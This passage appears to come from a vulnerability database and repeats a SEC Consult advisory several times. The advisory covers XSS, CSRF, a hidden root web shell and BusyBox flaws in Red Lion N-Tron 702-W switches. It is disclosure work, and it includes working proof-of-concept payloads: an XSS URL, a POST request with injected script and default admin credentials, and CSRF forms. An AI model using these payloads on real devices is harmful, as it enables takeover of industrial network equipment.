enctype=\"multipart/form-data\"\u003e\n \u003cinput type=\"hidden\" name=\"netmode\" value=\"bridge\" /\u003e\n \u003cinput type=\"hidden\" name=\"wlanipmode\" value=\"0\" /\u003e\n \u003cinput type=\"hidden\" name=\"brip\" value=\"192\u0026#46;168\u0026#46;1\u0026#46;202\" /\u003e\n \u003cinput type=\"hidden\" name=\"brmask\" value=\"255\u0026#46;255\u0026#46;255\u0026#46;0\" /\u003e\n \u003cinput type=\"hidden\" name=\"brgw\" value=\"192\u0026#46;168\u0026#46;1\u0026#46;1\u0026quot;\u0026gt;\u0026lt;script\u0026gt;alert\u0026#40;document\u0026#46;location\u0026#43;\u0026quot;\u0026#32;\u0026gt;\u0026#32;SEC\u0026#45;Consult\u0026quot;\u0026#41;\u0026lt;\u0026#47;script\u0026gt;\" /\u003e\n \u003cinput type=\"hidden\" name=\"dns1\" value=\"\" /\u003e\n \u003cinput type=\"hidden\" name=\"dns2\" value=\"\" /\u003e\n \u003cinput type=\"submit\" value=\"Submit request\" /\u003e\n \u003c/form\u003e\n \u003c/body\u003e\n\u003c/html\u003e\n-------------------------------------------------------------------------------\n\n3) Cross-Site Request Forgery (CSRF) - CVE-2020-16208\nCSRF can be triggered on each endpoint as the whole web-interface does not\nimplement any protection mechanisms. Changing the hostname to \"SEC Consult\" can\nbe done with the following embedded HTML code:\n-------------------------------------------------------------------------------\n\u003chtml\u003e\n \u003cbody\u003e\n \u003cscript\u003ehistory.pushState(\u0027\u0027, \u0027\u0027, \u0027/\u0027)\u003c/script\u003e\n \u003cform action=\"http://$IP/system.cgi\" method=\"POST\" enctype=\"multipart/form-data\"\u003e\n \u003cinput type=\"hidden\" name=\"hostname\" value=\"SEC\u0026#32;Consult\" /\u003e\n \u003cinput type=\"hidden\" name=\"action\" value=\"chhost\" /\u003e\n \u003cinput type=\"submit\" value=\"Submit request\" /\u003e\n \u003c/form\u003e\n \u003c/body\u003e\n\u003c/html\u003e\n-------------------------------------------------------------------------------\n\n4) Hidden OS Web-Shell Interface - CVE-2020-16204\nThe endpoint \"/admin.cgi\" is not referenced within the whole web-interface and\nalso not documented in the manual. By browsing this endpoint, multiple actions\ncan be natively triggered:\n * Execute commands in context of the root user\n * Upload files\n * Download files\n * Change access rights\nAll other actions can be done via the command execution. The lack of CSRF\nprotections allows attackers to execute commands on the device by luring a\nuser on malicious web-pages. \n\n5) Known BusyBox Vulnerabilities\nThe BusyBox shell autocompletion vulnerability (CVE-2017-16544) was verified on\nan emulated device:\n\nA file with the name \"\\ectest\\n\\e]55;test.txt\\a\" was created to trigger the\nvulnerability. \n-------------------------------------------------------------------------------\n# ls \"pressing \u003cTAB\u003e\"\ntest\n55\\;test.txt\n#\n-------------------------------------------------------------------------------\n\n6) Outdated Software Components\nBy analyzing the firmware a lot of components are found to be outdated:\n * BusyBox 1.0.1\n * PHP/FI 2.0.1\n * Dnsmasq 2.35\n * Boa 0.93.15\n\nVulnerable / tested versions:\n-----------------------------\nthe following firmware version has been tested:\n* Red Lion N-Tron 702-W / 2.0.26\n* Red Lion N-Tron 702M12-W / 2.0.26\n\n\nVendor contact timeline:\n------------------------\n2020-03-09: Contacting vendor through support.emea@redlion.net; No answer. \n2020-03-17: Asked for status update; No answer. \n2020-03-30: Asked for status update, added incoming.ics-cert@redlion.net to\n the list of recipients; No answer. \n2020-04-13: Requested support for coordination from CERT@VDE for the advisory. \n Sent the advisory to the CERT. \n2020-04-14: Security contact from CERT@VDE answered, that ICS-CERT was also in-\n formed. \n2020-07-17: Asked contact at ICS-CERT for status update; Contact stated that\n they are waiting for an update of Red Lion. \n2020-08-20: Received CISA draft for an advisory from CERT@VDE. \n2020-08-28: Found the published advisory on CISA\u0027s website* which was released\n on 2020-08-27. \n2020-09-02: Release of security advisory. \n\n* https://us-cert.cisa.gov/ics/advisories/icsa-20-240-01\n\nSolution:\n---------\nUpgrade to newer hardware. \n\n\nWorkaround:\n-----------\nNone. \n\n\nAdvisory URL:\n-------------\nhttps://www.sec-consult.com/en/vulnerability-lab/advisories/index.html\n\n\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n\nSEC Consult Vulnerability Lab\n\nSEC Consult\nEurope | Asia | North America\n\nAbout SEC Consult Vulnerability Lab\nThe SEC Consult Vulnerability Lab is an integrated part of SEC Consult. It\nensures the continued knowledge gain of SEC Consult in the field of network\nand application security to stay ahead of the attacker. The SEC Consult\nVulnerability Lab supports high-quality penetration testing and the evaluation\nof new offensive and defensive technologies for our customers. Hence our\ncustomers obtain the most current information about vulnerabilities and valid\nrecommendation about the risk profile of new technologies. \n\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\nInterested to work with the experts of SEC Consult?\nSend us your application https://www.sec-consult.com/en/career/index.html\n\nInterested in improving your cyber security with the experts of SEC Consult?\nContact our local offices https://www.sec-consult.com/en/contact/index.html\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n\nMail: research at sec-consult dot com\nWeb: https://www.sec-consult.com\nBlog: http://blog.sec-consult.com\nTwitter: https://twitter.com/sec_consult\n\nEOF T. Weber / @2020\n\n\n",
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VAR-202009-0591
Vulnerability from variot - Updated: 2023-12-18 11:10The affected product is vulnerable due to an undocumented interface found on the device, which may allow an attacker to execute commands as root on the device on the N-Tron 702-W / 702M12-W (all versions). N-Tron 702-W and 702M12-W Includes a vulnerability in a private feature.Information is obtained, information is tampered with, and service operation is interrupted. (DoS) It may be put into a state. Red Lion N-Tron 702-W/702M12-W is a high-voltage Ethernet switch product.
Red Lion N-Tron 702-W/702M12-W has an undocumented interface vulnerability. Attackers can use this vulnerability to submit special requests and execute arbitrary commands with ROOT permissions. SEC Consult Vulnerability Lab Security Advisory < 20200902-0 >
title: Multiple Vulnerabilities
product: Red Lion N-Tron 702-W, Red Lion N-Tron 702M12-W
vulnerable version: <=2.0.26 fixed version: CVE number: CVE-2020-16210, CVE-2020-16206, CVE-2020-16208, CVE-2020-16204 impact: High homepage: https://www.redlion.net/ found: 2020-02-28 by: T. Weber (Office Vienna) SEC Consult Vulnerability Lab
An integrated part of SEC Consult
Europe | Asia | North America
https://www.sec-consult.com
=======================================================================
Vendor description:
"For over forty years, customers around the world have trusted Red Lion Controls. Our award-winning industrial automation and networking solutions provide critical information and controls to improve productivity, working with numerous devices and diverse protocols to access data."
Source: https://www.redlion.net
Business recommendation:
The vendor recommends to change the hardware and use a newer product. SEC Consult recommends to remove the device from productive environments.
Vulnerability overview/description:
1) Reflected Cross-Site Scripting (XSS) - CVE-2020-16210 A reflected cross-site scripting vulnerability was identified at the endpoint "/pingtest_action.cgi". An attacker is also able to perform actions in the context of the attacked user.
2) Stored Cross-Site Scripting (XSS) - CVE-2020-16206 Stored cross-site scripting vulnerabilities are present on multiple endpoints. Such placed payloads cannot be detected via browser-protection mechanisms as they are embedded into the web-interface. An attacker is also able to perform actions in the context of the attacked user.
3) Cross-Site Request Forgery (CSRF) - CVE-2020-16208 CSRF protection is not implemented at all. Such a vulnerability enables an attacker to modify different configurations of a device by luring an authenticated user to click on a crafted link. An attacker is able to take over the device by exploiting this vulnerability.
4) Hidden OS Web-Shell Interface - CVE-2020-16204 An undocumented interface, that contains a web-shell to the underlying OS, was found to be present on the device. It is not referenced in the actual menu and is also not mentioned in the manual of the device.
This endpoint seems to be a leftover of the used Atheros SDK.
5) Known BusyBox Vulnerabilities The used BusyBox toolkit in version 1.11.0 is outdated and contains multiple known vulnerabilities. The outdated version was found by IoT Inspector.
6) Outdated and Vulnerable Software Components Outdated and vulnerable software components were found on the device during a quick examination.
The vulnerabilities 1), 2), 3), 4) and 5) were manually verified on an emulated device by using the MEDUSA scalable firmware runtime.
Proof of concept:
1) Reflected Cross-Site Scripting (XSS) - CVE-2020-16210 The "pingtest_action.cgi" endpoint can be used to trigger reflected XSS. http://$IP/pingtest_action.cgi?action=pingtest&dst_ip_addr=1&dst_addr_select=127.0.0.1&lines=%3Chtml%3E%3Cscript%3Ealert(document.location)%3C/script%3E%3C/html%3E
2) Stored Cross-Site Scripting (XSS) - CVE-2020-16206 Injection of a XSS payload is possible on multiple endpoints. An example for permanent XSS on the endpoint "/network.cgi" is the following request:
POST /network.cgi HTTP/1.1 Host: $IP Accept-Encoding: gzip, deflate Content-Type: multipart/form-data; boundary=---------------------------195698564115308644282115103021 Content-Length: 915 Authorization: Basic YWRtaW46YWRtaW4= Connection: close Cookie: ui_language=en_US Upgrade-Insecure-Requests: 1
-----------------------------195698564115308644282115103021 Content-Disposition: form-data; name="netmode"
bridge -----------------------------195698564115308644282115103021 Content-Disposition: form-data; name="wlanipmode"
0 -----------------------------195698564115308644282115103021 Content-Disposition: form-data; name="brip"
192.168.1.202 -----------------------------195698564115308644282115103021 Content-Disposition: form-data; name="brmask"
255.255.255.0 -----------------------------195698564115308644282115103021 Content-Disposition: form-data; name="brgw"
192.168.1.1">alert(document.location) -----------------------------195698564115308644282115103021 Content-Disposition: form-data; name="dns1"
-----------------------------195698564115308644282115103021 Content-Disposition: form-data; name="dns2"
-----------------------------195698564115308644282115103021--
This can also be embedded in the HTML code as shown below:
history.pushState('', '', '/')3) Cross-Site Request Forgery (CSRF) - CVE-2020-16208 CSRF can be triggered on each endpoint as the whole web-interface does not implement any protection mechanisms. Changing the hostname to "SEC Consult" can be done with the following embedded HTML code:
history.pushState('', '', '/')
4) Hidden OS Web-Shell Interface - CVE-2020-16204 The endpoint "/admin.cgi" is not referenced within the whole web-interface and also not documented in the manual. By browsing this endpoint, multiple actions can be natively triggered: * Execute commands in context of the root user * Upload files * Download files * Change access rights All other actions can be done via the command execution.
5) Known BusyBox Vulnerabilities The BusyBox shell autocompletion vulnerability (CVE-2017-16544) was verified on an emulated device:
A file with the name "\ectest\n\e]55;test.txt\a" was created to trigger the vulnerability.
ls "pressing "
test 55\;test.txt
6) Outdated Software Components By analyzing the firmware a lot of components are found to be outdated: * BusyBox 1.0.1 * PHP/FI 2.0.1 * Dnsmasq 2.35 * Boa 0.93.15
Vulnerable / tested versions:
the following firmware version has been tested: * Red Lion N-Tron 702-W / 2.0.26 * Red Lion N-Tron 702M12-W / 2.0.26
Vendor contact timeline:
2020-03-09: Contacting vendor through support.emea@redlion.net; No answer. 2020-03-17: Asked for status update; No answer. 2020-03-30: Asked for status update, added incoming.ics-cert@redlion.net to the list of recipients; No answer. 2020-04-13: Requested support for coordination from CERT@VDE for the advisory. Sent the advisory to the CERT. 2020-04-14: Security contact from CERT@VDE answered, that ICS-CERT was also in- formed. 2020-07-17: Asked contact at ICS-CERT for status update; Contact stated that they are waiting for an update of Red Lion. 2020-08-20: Received CISA draft for an advisory from CERT@VDE. 2020-08-28: Found the published advisory on CISA's website* which was released on 2020-08-27. 2020-09-02: Release of security advisory.
- https://us-cert.cisa.gov/ics/advisories/icsa-20-240-01
Solution:
Upgrade to newer hardware.
Workaround:
None.
Advisory URL:
https://www.sec-consult.com/en/vulnerability-lab/advisories/index.html
SEC Consult Vulnerability Lab
SEC Consult
Europe | Asia | North America
About SEC Consult Vulnerability Lab
The SEC Consult Vulnerability Lab is an integrated part of SEC Consult. It
ensures the continued knowledge gain of SEC Consult in the field of network
and application security to stay ahead of the attacker. The SEC Consult
Vulnerability Lab supports high-quality penetration testing and the evaluation
of new offensive and defensive technologies for our customers. Hence our
customers obtain the most current information about vulnerabilities and valid
recommendation about the risk profile of new technologies.
Interested to work with the experts of SEC Consult? Send us your application https://www.sec-consult.com/en/career/index.html
Interested in improving your cyber security with the experts of SEC Consult? Contact our local offices https://www.sec-consult.com/en/contact/index.html ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Mail: research at sec-consult dot com Web: https://www.sec-consult.com Blog: http://blog.sec-consult.com Twitter: https://twitter.com/sec_consult
EOF T. Weber / @2020
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"data": "The affected product is vulnerable due to an undocumented interface found on the device, which may allow an attacker to execute commands as root on the device on the N-Tron 702-W / 702M12-W (all versions). N-Tron 702-W and 702M12-W Includes a vulnerability in a private feature.Information is obtained, information is tampered with, and service operation is interrupted. (DoS) It may be put into a state. Red Lion N-Tron 702-W/702M12-W is a high-voltage Ethernet switch product. \n\r\n\r\nRed Lion N-Tron 702-W/702M12-W has an undocumented interface vulnerability. Attackers can use this vulnerability to submit special requests and execute arbitrary commands with ROOT permissions. SEC Consult Vulnerability Lab Security Advisory \u003c 20200902-0 \u003e\n=======================================================================\n title: Multiple Vulnerabilities\n product: Red Lion N-Tron 702-W, Red Lion N-Tron 702M12-W\n vulnerable version: \u003c=2.0.26\n fixed version:\n CVE number: CVE-2020-16210, CVE-2020-16206, CVE-2020-16208,\n CVE-2020-16204\n impact: High\n homepage: https://www.redlion.net/\n found: 2020-02-28\n by: T. Weber (Office Vienna)\n SEC Consult Vulnerability Lab\n\n An integrated part of SEC Consult\n Europe | Asia | North America\n\n https://www.sec-consult.com\n\n=======================================================================\n\nVendor description:\n-------------------\n\"For over forty years, customers around the world have trusted Red Lion\nControls. Our award-winning industrial automation and\nnetworking solutions provide critical information and controls to\nimprove productivity, working with numerous devices and diverse\nprotocols to access data.\"\n\nSource: https://www.redlion.net\n\n\nBusiness recommendation:\n------------------------\nThe vendor recommends to change the hardware and use a newer product. \nSEC Consult recommends to remove the device from productive environments. \n\n\nVulnerability overview/description:\n-----------------------------------\n1) Reflected Cross-Site Scripting (XSS) - CVE-2020-16210\nA reflected cross-site scripting vulnerability was identified at the endpoint\n\"/pingtest_action.cgi\". An attacker is also able to perform actions in the\ncontext of the attacked user. \n\n2) Stored Cross-Site Scripting (XSS) - CVE-2020-16206\nStored cross-site scripting vulnerabilities are present on multiple endpoints. \nSuch placed payloads cannot be detected via browser-protection mechanisms as\nthey are embedded into the web-interface. \nAn attacker is also able to perform actions in the context of the attacked user. \n\n3) Cross-Site Request Forgery (CSRF) - CVE-2020-16208\nCSRF protection is not implemented at all. \nSuch a vulnerability enables an attacker to modify different configurations of\na device by luring an authenticated user to click on a crafted link. An\nattacker is able to take over the device by exploiting this vulnerability. \n\n4) Hidden OS Web-Shell Interface - CVE-2020-16204\nAn undocumented interface, that contains a web-shell to the underlying OS, was\nfound to be present on the device. It is not referenced in the actual menu\nand is also not mentioned in the manual of the device. \n\nThis endpoint seems to be a leftover of the used Atheros SDK. \n\n5) Known BusyBox Vulnerabilities\nThe used BusyBox toolkit in version 1.11.0 is outdated and contains multiple\nknown vulnerabilities. The outdated version was found by IoT Inspector. \n\n6) Outdated and Vulnerable Software Components\nOutdated and vulnerable software components were found on the device during\na quick examination. \n\nThe vulnerabilities 1), 2), 3), 4) and 5) were manually verified on an emulated\ndevice by using the MEDUSA scalable firmware runtime. \n\n\nProof of concept:\n-----------------\n1) Reflected Cross-Site Scripting (XSS) - CVE-2020-16210\nThe \"pingtest_action.cgi\" endpoint can be used to trigger reflected XSS. \nhttp://$IP/pingtest_action.cgi?action=pingtest\u0026dst_ip_addr=1\u0026dst_addr_select=127.0.0.1\u0026lines=%3Chtml%3E%3Cscript%3Ealert(document.location)%3C/script%3E%3C/html%3E\n\n2) Stored Cross-Site Scripting (XSS) - CVE-2020-16206\nInjection of a XSS payload is possible on multiple endpoints. An example\nfor permanent XSS on the endpoint \"/network.cgi\" is the following request:\n-------------------------------------------------------------------------------\nPOST /network.cgi HTTP/1.1\nHost: $IP\nAccept-Encoding: gzip, deflate\nContent-Type: multipart/form-data; boundary=---------------------------195698564115308644282115103021\nContent-Length: 915\nAuthorization: Basic YWRtaW46YWRtaW4=\nConnection: close\nCookie: ui_language=en_US\nUpgrade-Insecure-Requests: 1\n\n-----------------------------195698564115308644282115103021\nContent-Disposition: form-data; name=\"netmode\"\n\nbridge\n-----------------------------195698564115308644282115103021\nContent-Disposition: form-data; name=\"wlanipmode\"\n\n0\n-----------------------------195698564115308644282115103021\nContent-Disposition: form-data; name=\"brip\"\n\n192.168.1.202\n-----------------------------195698564115308644282115103021\nContent-Disposition: form-data; name=\"brmask\"\n\n255.255.255.0\n-----------------------------195698564115308644282115103021\nContent-Disposition: form-data; name=\"brgw\"\n\n192.168.1.1\"\u003e\u003cscript\u003ealert(document.location)\u003c/script\u003e\n-----------------------------195698564115308644282115103021\nContent-Disposition: form-data; name=\"dns1\"\n\n\n-----------------------------195698564115308644282115103021\nContent-Disposition: form-data; name=\"dns2\"\n\n\n-----------------------------195698564115308644282115103021--\n-------------------------------------------------------------------------------\n\nThis can also be embedded in the HTML code as shown below:\n-------------------------------------------------------------------------------\n\u003chtml\u003e\n \u003cbody\u003e\n \u003cscript\u003ehistory.pushState(\u0027\u0027, \u0027\u0027, \u0027/\u0027)\u003c/script\u003e\n \u003cform action=\"http://$IP/network.cgi\" method=\"POST\" enctype=\"multipart/form-data\"\u003e\n \u003cinput type=\"hidden\" name=\"netmode\" value=\"bridge\" /\u003e\n \u003cinput type=\"hidden\" name=\"wlanipmode\" value=\"0\" /\u003e\n \u003cinput type=\"hidden\" name=\"brip\" value=\"192\u0026#46;168\u0026#46;1\u0026#46;202\" /\u003e\n \u003cinput type=\"hidden\" name=\"brmask\" value=\"255\u0026#46;255\u0026#46;255\u0026#46;0\" /\u003e\n \u003cinput type=\"hidden\" name=\"brgw\" value=\"192\u0026#46;168\u0026#46;1\u0026#46;1\u0026quot;\u0026gt;\u0026lt;script\u0026gt;alert\u0026#40;document\u0026#46;location\u0026#43;\u0026quot;\u0026#32;\u0026gt;\u0026#32;SEC\u0026#45;Consult\u0026quot;\u0026#41;\u0026lt;\u0026#47;script\u0026gt;\" /\u003e\n \u003cinput type=\"hidden\" name=\"dns1\" value=\"\" /\u003e\n \u003cinput type=\"hidden\" name=\"dns2\" value=\"\" /\u003e\n \u003cinput type=\"submit\" value=\"Submit request\" /\u003e\n \u003c/form\u003e\n \u003c/body\u003e\n\u003c/html\u003e\n-------------------------------------------------------------------------------\n\n3) Cross-Site Request Forgery (CSRF) - CVE-2020-16208\nCSRF can be triggered on each endpoint as the whole web-interface does not\nimplement any protection mechanisms. Changing the hostname to \"SEC Consult\" can\nbe done with the following embedded HTML code:\n-------------------------------------------------------------------------------\n\u003chtml\u003e\n \u003cbody\u003e\n \u003cscript\u003ehistory.pushState(\u0027\u0027, \u0027\u0027, \u0027/\u0027)\u003c/script\u003e\n \u003cform action=\"http://$IP/system.cgi\" method=\"POST\" enctype=\"multipart/form-data\"\u003e\n \u003cinput type=\"hidden\" name=\"hostname\" value=\"SEC\u0026#32;Consult\" /\u003e\n \u003cinput type=\"hidden\" name=\"action\" value=\"chhost\" /\u003e\n \u003cinput type=\"submit\" value=\"Submit request\" /\u003e\n \u003c/form\u003e\n \u003c/body\u003e\n\u003c/html\u003e\n-------------------------------------------------------------------------------\n\n4) Hidden OS Web-Shell Interface - CVE-2020-16204\nThe endpoint \"/admin.cgi\" is not referenced within the whole web-interface and\nalso not documented in the manual. By browsing this endpoint, multiple actions\ncan be natively triggered:\n * Execute commands in context of the root user\n * Upload files\n * Download files\n * Change access rights\nAll other actions can be done via the command execution. \n\n5) Known BusyBox Vulnerabilities\nThe BusyBox shell autocompletion vulnerability (CVE-2017-16544) was verified on\nan emulated device:\n\nA file with the name \"\\ectest\\n\\e]55;test.txt\\a\" was created to trigger the\nvulnerability. \n-------------------------------------------------------------------------------\n# ls \"pressing \u003cTAB\u003e\"\ntest\n55\\;test.txt\n#\n-------------------------------------------------------------------------------\n\n6) Outdated Software Components\nBy analyzing the firmware a lot of components are found to be outdated:\n * BusyBox 1.0.1\n * PHP/FI 2.0.1\n * Dnsmasq 2.35\n * Boa 0.93.15\n\nVulnerable / tested versions:\n-----------------------------\nthe following firmware version has been tested:\n* Red Lion N-Tron 702-W / 2.0.26\n* Red Lion N-Tron 702M12-W / 2.0.26\n\n\nVendor contact timeline:\n------------------------\n2020-03-09: Contacting vendor through support.emea@redlion.net; No answer. \n2020-03-17: Asked for status update; No answer. \n2020-03-30: Asked for status update, added incoming.ics-cert@redlion.net to\n the list of recipients; No answer. \n2020-04-13: Requested support for coordination from CERT@VDE for the advisory. \n Sent the advisory to the CERT. \n2020-04-14: Security contact from CERT@VDE answered, that ICS-CERT was also in-\n formed. \n2020-07-17: Asked contact at ICS-CERT for status update; Contact stated that\n they are waiting for an update of Red Lion. \n2020-08-20: Received CISA draft for an advisory from CERT@VDE. \n2020-08-28: Found the published advisory on CISA\u0027s website* which was released\n on 2020-08-27. \n2020-09-02: Release of security advisory. \n\n* https://us-cert.cisa.gov/ics/advisories/icsa-20-240-01\n\nSolution:\n---------\nUpgrade to newer hardware. \n\n\nWorkaround:\n-----------\nNone. \n\n\nAdvisory URL:\n-------------\nhttps://www.sec-consult.com/en/vulnerability-lab/advisories/index.html\n\n\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n\nSEC Consult Vulnerability Lab\n\nSEC Consult\nEurope | Asia | North America\n\nAbout SEC Consult Vulnerability Lab\nThe SEC Consult Vulnerability Lab is an integrated part of SEC Consult. It\nensures the continued knowledge gain of SEC Consult in the field of network\nand application security to stay ahead of the attacker. The SEC Consult\nVulnerability Lab supports high-quality penetration testing and the evaluation\nof new offensive and defensive technologies for our customers. Hence our\ncustomers obtain the most current information about vulnerabilities and valid\nrecommendation about the risk profile of new technologies. \n\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\nInterested to work with the experts of SEC Consult?\nSend us your application https://www.sec-consult.com/en/career/index.html\n\nInterested in improving your cyber security with the experts of SEC Consult?\nContact our local offices https://www.sec-consult.com/en/contact/index.html\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n\nMail: research at sec-consult dot com\nWeb: https://www.sec-consult.com\nBlog: http://blog.sec-consult.com\nTwitter: https://twitter.com/sec_consult\n\nEOF T. Weber / @2020\n\n\n",
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VAR-202009-0593
Vulnerability from variot - Updated: 2023-12-18 10:52The affected product is vulnerable to cross-site request forgery, which may allow an attacker to modify different configurations of a device by luring an authenticated user to click on a crafted link on the N-Tron 702-W / 702M12-W (all versions). N-Tron 702-W and 702M12-W Exists in a cross-site request forgery vulnerability.Information is obtained, information is tampered with, and service operation is interrupted. (DoS) It may be put into a state. Red Lion N-Tron 702-W/702M12-W is a high-voltage Ethernet switch product.
Red Lion N-Tron 702-W/702M12-W has a cross-site request forgery vulnerability. Attackers can use this vulnerability to construct malicious URIs, trick requests, and perform malicious operations in the context of the target user. SEC Consult Vulnerability Lab Security Advisory < 20200902-0 >
title: Multiple Vulnerabilities
product: Red Lion N-Tron 702-W, Red Lion N-Tron 702M12-W
vulnerable version: <=2.0.26 fixed version: CVE number: CVE-2020-16210, CVE-2020-16206, CVE-2020-16208, CVE-2020-16204 impact: High homepage: https://www.redlion.net/ found: 2020-02-28 by: T. Weber (Office Vienna) SEC Consult Vulnerability Lab
An integrated part of SEC Consult
Europe | Asia | North America
https://www.sec-consult.com
=======================================================================
Vendor description:
"For over forty years, customers around the world have trusted Red Lion Controls. Our award-winning industrial automation and networking solutions provide critical information and controls to improve productivity, working with numerous devices and diverse protocols to access data."
Source: https://www.redlion.net
Business recommendation:
The vendor recommends to change the hardware and use a newer product. SEC Consult recommends to remove the device from productive environments.
Vulnerability overview/description:
1) Reflected Cross-Site Scripting (XSS) - CVE-2020-16210 A reflected cross-site scripting vulnerability was identified at the endpoint "/pingtest_action.cgi".
2) Stored Cross-Site Scripting (XSS) - CVE-2020-16206 Stored cross-site scripting vulnerabilities are present on multiple endpoints. Such placed payloads cannot be detected via browser-protection mechanisms as they are embedded into the web-interface. An attacker is able to take over the device by exploiting this vulnerability.
4) Hidden OS Web-Shell Interface - CVE-2020-16204 An undocumented interface, that contains a web-shell to the underlying OS, was found to be present on the device. It is not referenced in the actual menu and is also not mentioned in the manual of the device. Commands can be executed as root on the device. A remote attacker can execute system commands via this way in combination with vulnerability #3.
This endpoint seems to be a leftover of the used Atheros SDK.
5) Known BusyBox Vulnerabilities The used BusyBox toolkit in version 1.11.0 is outdated and contains multiple known vulnerabilities. The outdated version was found by IoT Inspector.
6) Outdated and Vulnerable Software Components Outdated and vulnerable software components were found on the device during a quick examination.
The vulnerabilities 1), 2), 3), 4) and 5) were manually verified on an emulated device by using the MEDUSA scalable firmware runtime.
Proof of concept:
1) Reflected Cross-Site Scripting (XSS) - CVE-2020-16210 The "pingtest_action.cgi" endpoint can be used to trigger reflected XSS. http://$IP/pingtest_action.cgi?action=pingtest&dst_ip_addr=1&dst_addr_select=127.0.0.1&lines=%3Chtml%3E%3Cscript%3Ealert(document.location)%3C/script%3E%3C/html%3E
2) Stored Cross-Site Scripting (XSS) - CVE-2020-16206 Injection of a XSS payload is possible on multiple endpoints. An example for permanent XSS on the endpoint "/network.cgi" is the following request:
POST /network.cgi HTTP/1.1 Host: $IP Accept-Encoding: gzip, deflate Content-Type: multipart/form-data; boundary=---------------------------195698564115308644282115103021 Content-Length: 915 Authorization: Basic YWRtaW46YWRtaW4= Connection: close Cookie: ui_language=en_US Upgrade-Insecure-Requests: 1
-----------------------------195698564115308644282115103021 Content-Disposition: form-data; name="netmode"
bridge -----------------------------195698564115308644282115103021 Content-Disposition: form-data; name="wlanipmode"
0 -----------------------------195698564115308644282115103021 Content-Disposition: form-data; name="brip"
192.168.1.202 -----------------------------195698564115308644282115103021 Content-Disposition: form-data; name="brmask"
255.255.255.0 -----------------------------195698564115308644282115103021 Content-Disposition: form-data; name="brgw"
192.168.1.1">alert(document.location) -----------------------------195698564115308644282115103021 Content-Disposition: form-data; name="dns1"
-----------------------------195698564115308644282115103021 Content-Disposition: form-data; name="dns2"
-----------------------------195698564115308644282115103021--
This can also be embedded in the HTML code as shown below:
history.pushState('', '', '/')3) Cross-Site Request Forgery (CSRF) - CVE-2020-16208 CSRF can be triggered on each endpoint as the whole web-interface does not implement any protection mechanisms. Changing the hostname to "SEC Consult" can be done with the following embedded HTML code:
history.pushState('', '', '/')
4) Hidden OS Web-Shell Interface - CVE-2020-16204 The endpoint "/admin.cgi" is not referenced within the whole web-interface and also not documented in the manual. By browsing this endpoint, multiple actions can be natively triggered: * Execute commands in context of the root user * Upload files * Download files * Change access rights All other actions can be done via the command execution. The lack of CSRF protections allows attackers to execute commands on the device by luring a user on malicious web-pages.
5) Known BusyBox Vulnerabilities The BusyBox shell autocompletion vulnerability (CVE-2017-16544) was verified on an emulated device:
A file with the name "\ectest\n\e]55;test.txt\a" was created to trigger the vulnerability.
ls "pressing "
test 55\;test.txt
6) Outdated Software Components By analyzing the firmware a lot of components are found to be outdated: * BusyBox 1.0.1 * PHP/FI 2.0.1 * Dnsmasq 2.35 * Boa 0.93.15
Vulnerable / tested versions:
the following firmware version has been tested: * Red Lion N-Tron 702-W / 2.0.26 * Red Lion N-Tron 702M12-W / 2.0.26
Vendor contact timeline:
2020-03-09: Contacting vendor through support.emea@redlion.net; No answer. 2020-03-17: Asked for status update; No answer. 2020-03-30: Asked for status update, added incoming.ics-cert@redlion.net to the list of recipients; No answer. 2020-04-13: Requested support for coordination from CERT@VDE for the advisory. Sent the advisory to the CERT. 2020-04-14: Security contact from CERT@VDE answered, that ICS-CERT was also in- formed. 2020-07-17: Asked contact at ICS-CERT for status update; Contact stated that they are waiting for an update of Red Lion. 2020-08-20: Received CISA draft for an advisory from CERT@VDE. 2020-08-28: Found the published advisory on CISA's website* which was released on 2020-08-27. 2020-09-02: Release of security advisory.
- https://us-cert.cisa.gov/ics/advisories/icsa-20-240-01
Solution:
Upgrade to newer hardware.
Workaround:
None.
Advisory URL:
https://www.sec-consult.com/en/vulnerability-lab/advisories/index.html
SEC Consult Vulnerability Lab
SEC Consult
Europe | Asia | North America
About SEC Consult Vulnerability Lab
The SEC Consult Vulnerability Lab is an integrated part of SEC Consult. It
ensures the continued knowledge gain of SEC Consult in the field of network
and application security to stay ahead of the attacker. The SEC Consult
Vulnerability Lab supports high-quality penetration testing and the evaluation
of new offensive and defensive technologies for our customers. Hence our
customers obtain the most current information about vulnerabilities and valid
recommendation about the risk profile of new technologies.
Interested to work with the experts of SEC Consult? Send us your application https://www.sec-consult.com/en/career/index.html
Interested in improving your cyber security with the experts of SEC Consult? Contact our local offices https://www.sec-consult.com/en/contact/index.html ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Mail: research at sec-consult dot com Web: https://www.sec-consult.com Blog: http://blog.sec-consult.com Twitter: https://twitter.com/sec_consult
EOF T. Weber / @2020
